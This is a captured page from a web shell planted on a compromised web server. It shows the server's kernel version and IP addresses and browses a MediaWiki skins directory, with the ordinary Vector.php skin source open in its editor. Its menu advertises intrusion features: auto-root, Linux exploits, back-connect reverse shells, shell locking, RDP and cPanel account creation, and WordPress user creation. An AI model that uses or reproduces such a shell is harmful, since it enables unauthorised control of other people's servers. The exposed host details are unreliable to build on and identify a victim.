Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
skins /
[ HOME SHELL ]
Name
Size
Permission
Action
chick
[ DIR ]
drwxr-xr-x
cologneblue
[ DIR ]
drwxr-xr-x
common
[ DIR ]
drwxr-xr-x
modern
[ DIR ]
drwxr-xr-x
monobook
[ DIR ]
drwxr-xr-x
myskin
[ DIR ]
drwxr-xr-x
nostalgia
[ DIR ]
drwxr-xr-x
simple
[ DIR ]
drwxr-xr-x
vector
[ DIR ]
drwxr-xr-x
Chick.deps.php
503
B
-rw-r--r--
Chick.php
818
B
-rw-r--r--
CologneBlue.php
10.46
KB
-rw-r--r--
Modern.deps.php
452
B
-rw-r--r--
Modern.php
4.07
KB
-rw-r--r--
MonoBook.deps.php
453
B
-rw-r--r--
MonoBook.php
8.37
KB
-rw-r--r--
MySkin.deps.php
504
B
-rw-r--r--
MySkin.php
434
B
-rw-r--r--
Nostalgia.php
3.07
KB
-rw-r--r--
Simple.deps.php
504
B
-rw-r--r--
Simple.php
1.27
KB
-rw-r--r--
Standard.php
8.12
KB
-rw-r--r--
Vector.deps.php
452
B
-rw-r--r--
Vector.php
14.67
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Vector.php
<?php /** * Vector - Modern version of MonoBook with fresh look and many usability * improvements. * * @todo document * @file * @ingroup Skins */ if( !defined( 'MEDIAWIKI' ) ) { die( -1 ); } /** * SkinTemplate class for Vector skin * @ingroup Skins */ class SkinVector extends SkinTemplate { var $skinname = 'vector', $stylename = 'vector', $template = 'VectorTemplate', $useHeadElement = true; /** * Initializes output page and sets up skin-specific parameters * @param $out OutputPage object to initialize */ public function initPage( OutputPage $out ) { global $wgLocalStylePath; parent::initPage( $out ); // Append CSS which includes IE only behavior fixes for hover support - // this is better than including this in a CSS fille since it doesn't // wait for the CSS file to load before fetching the HTC file. $min = $this->getRequest()->getFuzzyBool( 'debug' ) ? '' : '.min'; $out->addHeadItem( 'csshover', '<!--[if lt IE 7]><style type="text/css">body{behavior:url("' . htmlspecialchars( $wgLocalStylePath ) . "/{$this->stylename}/csshover{$min}.htc\")}</style><![endif]-->" ); $out->addModuleScripts( 'skins.vector' ); } /** * Load skin and user CSS files in the correct order * fixes bug 22916 * @param $out OutputPage object */ function setupSkinUserCss( OutputPage $out ){ parent::setupSkinUserCss( $out ); $out->addModuleStyles( 'skins.vector' ); } } /** * QuickTemplate class for Vector skin * @ingroup Skins */ class VectorTemplate extends BaseTemplate { /* Functions */ /** * Outputs the entire contents of the (X)HTML page */ public function execute() { global $wgVectorUseIconWatch; // Build additional attributes for navigation urls $nav = $this->data['content_navigation']; if ( $wgVectorUseIconWatch ) { $mode = $this->getSkin()->getTitle()->userIsWatching() ? 'unwatch' : 'watch'; if ( isset( $nav['actions'][$mode] ) ) { $nav['views'][$mode] = $nav['actions'][$mode]; $nav['views'][$mode]['class'] = rtrim( 'icon ' . $nav['views'][$mode]['class'], ' ' ); $nav['views'][$mode]['primary'] = true; unset( $nav['actions'][$mode] ); } } $xmlID = ''; foreach ( $nav as $section => $links ) { foreach ( $links as $key => $link ) { if ( $section == 'views' && !( isset( $link['primary'] ) && $link['primary'] ) ) { $link['class'] = rtrim( 'collapsible ' . $link['class'], ' ' ); } $xmlID = isset( $link['id'] ) ? $link['id'] : 'ca-' . $xmlID; $nav[$section][$key]['attributes'] = ' id="' . Sanitizer::escapeId( $xmlID ) . '"'; if ( $link['class'] ) { $nav[$section][$key]['attributes'] .= ' class="' . htmlspecialchars( $link['class'] ) . '"'; unset( $nav[$section][$key]['class'] ); } if ( isset( $link['tooltiponly'] ) && $link['tooltiponly'] ) { $nav[$section][$key]['key'] = Linker::tooltip( $xmlID ); } else { $nav[$section][$key]['key'] = Xml::expandAttributes( Linker::tooltipAndAccesskeyAttribs( $xmlID ) ); } } } $this->data['namespace_urls'] = $nav['namespaces']; $this->data['view_urls'] = $nav['views']; $this->data['action_urls'] = $nav['actions']; $this->data['variant_urls'] = $nav['variants']; // Reverse horizontally rendered navigation elements if ( $this->data['rtl'] ) { $this->data['view_urls'] = array_reverse( $this->data['view_urls'] ); $this->data['namespace_urls'] = array_reverse( $this->data['namespace_urls'] ); $this->data['personal_urls'] = array_reverse( $this->data['personal_urls'] ); } // Output HTML Page $this->html( 'headelement' ); ?> <div id="mw-page-base" class="noprint"></div> <div id="mw-head-base" class="noprint"></div> <!-- content --> <div id="content" class="mw-body"> <a id="top"></a> <div id="mw-js-message" style="display:none;"<?php $this->html( 'userlangattributes' ) ?>></div> <?php if ( $this->data['sitenotice'] ): ?> <!-- sitenotice --> <div id="siteNotice"><?php $this->html( 'sitenotice' ) ?></div> <!-- /sitenotice --> <?php endif; ?> <!-- firstHeading --> <h1 id="firstHeading" class="firstHeading"> <span dir="auto"><?php $this->html( 'title' ) ?></span> </h1> <!-- /firstHeading --> <!-- bodyContent --> <div id="bodyContent"> <?php if ( $this->data['isarticle'] ): ?> <!-- tagline --> <div id="siteSub"><?php $this->msg( 'tagline' ) ?></div> <!-- /tagline --> <?php endif; ?> <!-- subtitle --> <div id="contentSub"<?php $this->html( 'userlangattributes' ) ?>><?php $this->html( 'subtitle' ) ?></div> <!-- /subtitle --> <?php if ( $this->data['undelete'] ): ?> <!-- undelete --> <div id="contentSub2"><?php $this->html( 'undelete' ) ?></div> <!-- /undelete --> <?php endif; ?> <?php if( $this->data['newtalk'] ): ?> <!-- newtalk --> <div class="usermessage"><?php $this->html( 'newtalk' ) ?></div> <!-- /newtalk --> <?php endif; ?> <?php if ( $this->data['showjumplinks'] ): ?> <!-- jumpto --> <div id="jump-to-nav" class="mw-jump"> <?php $this->msg( 'jumpto' ) ?> <a href="#mw-head"><?php $this->msg( 'jumptonavigation' ) ?></a>, <a href="#p-search"><?php $this->msg( 'jumptosearch' ) ?></a> </div> <!-- /jumpto --> <?php endif; ?> <!-- bodycontent --> <?php $this->html( 'bodycontent' ) ?> <!-- /bodycontent --> <?php if ( $this->data['printfooter'] ): ?> <!-- printfooter --> <div class="printfooter"> <?php $this->html( 'printfooter' ); ?> </div> <!-- /printfooter --> <?php endif; ?> <?php if ( $this->data['catlinks'] ): ?> <!-- catlinks --> <?php $this->html( 'catlinks' ); ?> <!-- /catlinks --> <?php endif; ?> <?php if ( $this->data['dataAfterContent'] ): ?> <!-- dataAfterContent --> <?php $this->html( 'dataAfterContent' ); ?> <!-- /dataAfterContent --> <?php endif; ?> <div class="visualClear"></div> <!-- debughtml --> <?php $this->html( 'debughtml' ); ?> <!-- /debughtml --> </div> <!-- /bodyContent --> </div> <!-- /content --> <!-- header --> <div id="mw-head" class="noprint"> <?php $this->renderNavigation( 'PERSONAL' ); ?> <div id="left-navigation"> <?php $this->renderNavigation( array( 'NAMESPACES', 'VARIANTS' ) ); ?> </div> <div id="right-navigation"> <?php $this->renderNavigation( array( 'VIEWS', 'ACTIONS', 'SEARCH' ) ); ?> </div> </div> <!-- /header --> <!-- panel --> <div id="mw-panel" class="noprint"> <!-- logo --> <div id="p-logo"><a style="background-image: url(<?php $this->text( 'logopath' ) ?>);" href="<?php echo htmlspecialchars( $this->data['nav_urls']['mainpage']['href'] ) ?>" <?php echo Xml::expandAttributes( Linker::tooltipAndAccesskeyAttribs( 'p-logo' ) ) ?>></a></div> <!-- /logo --> <?php $this->renderPortals( $this->data['sidebar'] ); ?> </div> <!-- /panel --> <!-- footer --> <div id="footer"<?php $this->html( 'userlangattributes' ) ?>> <?php foreach( $this->getFooterLinks() as $category => $links ): ?> <ul id="footer-<?php echo $category ?>"> <?php foreach( $links as $link ): ?> <li id="footer-<?php echo $category ?>-<?php echo $link ?>"><?php $this->html( $link ) ?></li> <?php endforeach; ?> </ul> <?php endforeach; ?> <?php $footericons = $this->getFooterIcons("icononly"); if ( count( $footericons ) > 0 ): ?> <ul id="footer-icons" class="noprint"> <?php foreach ( $footericons as $blockName => $footerIcons ): ?> <li id="footer-<?php echo htmlspecialchars( $blockName ); ?>ico"> <?php foreach ( $footerIcons as $icon ): ?> <?php echo $this->getSkin()->makeFooterIcon( $icon ); ?> <?php endforeach; ?> </li> <?php endforeach; ?> </ul> <?php endif; ?> <div style="clear:both"></div> </div> <!-- /footer --> <?php $this->printTrail(); ?> </body> </html> <?php } /** * Render a series of portals * * @param $portals array */ private function renderPortals( $portals ) { // Force the rendering of the following portals if ( !isset( $portals['SEARCH'] ) ) { $portals['SEARCH'] = true; } if ( !isset( $portals['TOOLBOX'] ) ) { $portals['TOOLBOX'] = true; } if ( !isset( $portals['LANGUAGES'] ) ) { $portals['LANGUAGES'] = true; } // Render portals foreach ( $portals as $name => $content ) { if ( $content === false ) continue; echo "\n<!-- {$name} -->\n"; switch( $name ) { case 'SEARCH': break; case 'TOOLBOX': $this->renderPortal( 'tb', $this->getToolbox(), 'toolbox', 'SkinTemplateToolboxEnd' ); break; case 'LANGUAGES': if ( $this->data['language_urls'] ) { $this->renderPortal( 'lang', $this->data['language_urls'], 'otherlanguages' ); } break; default: $this->renderPortal( $name, $content ); break; } echo "\n<!-- /{$name} -->\n"; } } private function renderPortal( $name, $content, $msg = null, $hook = null ) { if ( $msg === null ) { $msg = $name; } ?> <div class="portal" id='<?php echo Sanitizer::escapeId( "p-$name" ) ?>'<?php echo Linker::tooltip( 'p-' . $name ) ?>> <h5<?php $this->html( 'userlangattributes' ) ?>><?php $msgObj = wfMessage( $msg ); echo htmlspecialchars( $msgObj->exists() ? $msgObj->text() : $msg ); ?></h5> <div class="body"> <?php if ( is_array( $content ) ): ?> <ul> <?php foreach( $content as $key => $val ): ?> <?php echo $this->makeListItem( $key, $val ); ?> <?php endforeach; if ( $hook !== null ) { wfRunHooks( $hook, array( &$this, true ) ); } ?> </ul> <?php else: ?> <?php echo $content; /* Allow raw HTML block to be defined by extensions */ ?> <?php endif; ?> </div> </div> <?php } /** * Render one or more navigations elements by name, automatically reveresed * when UI is in RTL mode * * @param $elements array */ private function renderNavigation( $elements ) { global $wgVectorUseSimpleSearch; // If only one element was given, wrap it in an array, allowing more // flexible arguments if ( !is_array( $elements ) ) { $elements = array( $elements ); // If there's a series of elements, reverse them when in RTL mode } elseif ( $this->data['rtl'] ) { $elements = array_reverse( $elements ); } // Render elements foreach ( $elements as $name => $element ) { echo "\n<!-- {$name} -->\n"; switch ( $element ) { case 'NAMESPACES': ?> <div id="p-namespaces" class="vectorTabs<?php if ( count( $this->data['namespace_urls'] ) == 0 ) echo ' emptyPortlet'; ?>"> <h5><?php $this->msg( 'namespaces' ) ?></h5> <ul<?php $this->html( 'userlangattributes' ) ?>> <?php foreach ( $this->data['namespace_urls'] as $link ): ?> <li <?php echo $link['attributes'] ?>><span><a href="<?php echo htmlspecialchars( $link['href'] ) ?>" <?php echo $link['key'] ?>><?php echo htmlspecialchars( $link['text'] ) ?></a></span></li> <?php endforeach; ?> </ul> </div> <?php break; case 'VARIANTS': ?> <div id="p-variants" class="vectorMenu<?php if ( count( $this->data['variant_urls'] ) == 0 ) echo ' emptyPortlet'; ?>"> <h4> <?php foreach ( $this->data['variant_urls'] as $link ): ?> <?php if ( stripos( $link['attributes'], 'selected' ) !== false ): ?> <?php echo htmlspecialchars( $link['text'] ) ?> <?php endif; ?> <?php endforeach; ?> </h4> <h5><span><?php $this->msg( 'variants' ) ?></span><a href="#"></a></h5> <div class="menu"> <ul<?php $this->html( 'userlangattributes' ) ?>> <?php foreach ( $this->data['variant_urls'] as $link ): ?> <li<?php echo $link['attributes'] ?>><a href="<?php echo htmlspecialchars( $link['href'] ) ?>" <?php echo $link['key'] ?>><?php echo htmlspecialchars( $link['text'] ) ?></a></li> <?php endforeach; ?> </ul> </div> </div> <?php break; case 'VIEWS': ?> <div id="p-views" class="vectorTabs<?php if ( count( $this->data['view_urls'] ) == 0 ) { echo ' emptyPortlet'; } ?>"> <h5><?php $this->msg('views') ?></h5> <ul<?php $this->html('userlangattributes') ?>> <?php foreach ( $this->data['view_urls'] as $link ): ?> <li<?php echo $link['attributes'] ?>><span><a href="<?php echo htmlspecialchars( $link['href'] ) ?>" <?php echo $link['key'] ?>><?php // $link['text'] can be undefined - bug 27764 if ( array_key_exists( 'text', $link ) ) { echo array_key_exists( 'img', $link ) ? '<img src="' . $link['img'] . '" alt="' . $link['text'] . '" />' : htmlspecialchars( $link['text'] ); } ?></a></span></li> <?php endforeach; ?> </ul> </div> <?php break; case 'ACTIONS': ?> <div id="p-cactions" class="vectorMenu<?php if ( count( $this->data['action_urls'] ) == 0 ) echo ' emptyPortlet'; ?>"> <h5><span><?php $this->msg( 'actions' ) ?></span><a href="#"></a></h5> <div class="menu"> <ul<?php $this->html( 'userlangattributes' ) ?>> <?php foreach ( $this->data['action_urls'] as $link ): ?> <li<?php echo $link['attributes'] ?>><a href="<?php echo htmlspecialchars( $link['href'] ) ?>" <?php echo $link['key'] ?>><?php echo htmlspecialchars( $link['text'] ) ?></a></li> <?php endforeach; ?> </ul> </div> </div> <?php break; case 'PERSONAL': ?> <div id="p-personal" class="<?php if ( count( $this->data['personal_urls'] ) == 0 ) echo ' emptyPortlet'; ?>"> <h5><?php $this->msg( 'personaltools' ) ?></h5> <ul<?php $this->html( 'userlangattributes' ) ?>> <?php foreach( $this->getPersonalTools() as $key => $item ) { ?> <?php echo $this->makeListItem( $key, $item ); ?> <?php } ?> </ul> </div> <?php break; case 'SEARCH': ?> <div id="p-search"> <h5<?php $this->html( 'userlangattributes' ) ?>><label for="searchInput"><?php $this->msg( 'search' ) ?></label></h5> <form action="<?php $this->text( 'wgScript' ) ?>" id="searchform"> <?php if ( $wgVectorUseSimpleSearch && $this->getSkin()->getUser()->getOption( 'vector-simplesearch' ) ): ?> <div id="simpleSearch"> <?php if ( $this->data['rtl'] ): ?> <?php echo $this->makeSearchButton( 'image', array( 'id' => 'searchButton', 'src' => $this->getSkin()->getSkinStylePath( 'images/search-rtl.png' ) ) ); ?> <?php endif; ?> <?php echo $this->makeSearchInput( array( 'id' => 'searchInput', 'type' => 'text' ) ); ?> <?php if ( !$this->data['rtl'] ): ?> <?php echo $this->makeSearchButton( 'image', array( 'id' => 'searchButton', 'src' => $this->getSkin()->getSkinStylePath( 'images/search-ltr.png' ) ) ); ?> <?php endif; ?> <?php else: ?> <div> <?php echo $this->makeSearchInput( array( 'id' => 'searchInput' ) ); ?> <?php echo $this->makeSearchButton( 'go', array( 'id' => 'searchGoButton', 'class' => 'searchButton' ) ); ?> <?php echo $this->makeSearchButton( 'fulltext', array( 'id' => 'mw-searchButton', 'class' => 'searchButton' ) ); ?> <?php endif; ?> <input type='hidden' name="title" value="<?php $this->text( 'searchtitle' ) ?>"/> </div> </form> </div> <?php break; } echo "\n<!-- /{$name} -->\n"; } } }
Close